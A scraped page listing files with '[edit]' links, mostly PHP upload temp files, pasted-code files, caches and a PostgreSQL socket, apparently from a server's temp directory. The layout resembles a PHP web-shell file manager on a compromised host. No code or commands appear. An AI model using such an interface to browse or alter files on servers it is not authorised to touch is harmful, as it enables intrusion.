[-] pasted_code_k1Ph9z
[edit]
[-] phpctCpbn
[edit]
[-] phpmuuoBH
[edit]
[-] phpuzWMhi
[edit]
[-] php36zjAZ
[edit]
[-] php2wfUOg
[edit]
[-] php5F9D1L
[edit]
[-] php1mjLmT
[edit]
[-] php4V9dsH
[edit]
[-] phplCX2i9
[edit]
[-] phpbqyN3U
[edit]
[-] php0viXQK
[edit]
[-] phpoKIrWa
[edit]
[-] phpNYgaoa
[edit]
[-] phpwyCVr9
[edit]
[-] phpIIOA0G
[edit]
[-] phpzJD6sI
[edit]
[-] pasted_code_hwq8g9
[edit]
[-] qr-69b0858f4a126
[edit]
[-] phpDoMNw5
[edit]
[-] phperDcbM
[edit]
[-] phpml2qNa
[edit]
[-] phpKNNmme
[edit]
[-] ____4qcrLB
[edit]
[-] .ea-php-cli.cache
[edit]
[-] session_cache.tmp
[edit]
[-] phpOOxDrC
[edit]
[-] phpiInmuB
[edit]
[-] php35x60W
[edit]
[-] php1Om3nz
[edit]
[-] phpCueAzC
[edit]
[-] phpx9BVgM
[edit]
[-] phpYcJ9zX
[edit]
[-] phpXPA2Ae
[edit]
[-] phpcq6lJS
[edit]
[-] phpVXPLBN
[edit]
[-] phpgGY3Ya
[edit]
[-] php15Xpfj
[edit]
[-] phppiJnM0
[edit]
[-] phpuQdscf
[edit]
[-] phpeOuVUa
[edit]
[-] pasted_code_SOXuRG
[edit]
[-] php6J7MSt
[edit]
[-] phpHYd26F
[edit]
[-] phpyi6RG9
[edit]
[-] phplA2xNE
[edit]
[-] qp-69b0b900bec03
[edit]
[-] phpQudbKR
[edit]
[-] phpJcFKxC
[edit]
[-] phpD0tmig
[edit]
[-] phpwmjyca
[edit]
[-] php0LhTJ0
[edit]
[-] phpRVEKNZ
[edit]
[-] phpJKLu7C
[edit]
[-] phpecR454
[edit]
[-] phpGfJJ4p
[edit]
[-] php9e7KyZ
[edit]
[-] phpSM8wou
[edit]
[-] ____F3yvLF
[edit]
[-] phpGw2E75
[edit]
[-] phpMlMhpp
[edit]
[-] php5lS7B8
[edit]
[-] php3aIYu2
[edit]
[-] phpxPjdis
[edit]
[-] phpnesXHH
[edit]
[-] ____QngyiN
[edit]
[-] phph1BlMR
[edit]
[-] phpZGz5nc
[edit]
[-] php2YchOh
[edit]
[-] pasted_code_ZYYMqa
[edit]
[-] ____jJ8HrM
[edit]
[-] php3qkmNO
[edit]
[-] phptf1O04
[edit]
[-] phpwkoVZg
[edit]
[-] phpsTCZr8
[edit]
[-] phpvOeSor
[edit]
[-] .s.PGSQL.5432
[edit]
[-] phpSdkxhY
[edit]
[-] phpyx1jwD
[edit]
[-] php5qXaIU
[edit]
[-] phppByxsc
[edit]
[-] phpBlgbvw
[edit]
[-] phpgr5nrd
[edit]
[-] php6P9Esf
[edit]
[-] phpKI0UEx
[edit]
[-] phpkn2Oih
[edit]
[-] phppflCRq
[edit]
[-] phptN7wzy
[edit]
[-] phpiL0ki2
[edit]
[-] phpOqQehM
[edit]
[-] php3z6qRA
[edit]
[-] ____bz3lni
[edit]
[-] phpJDxWJt
[edit]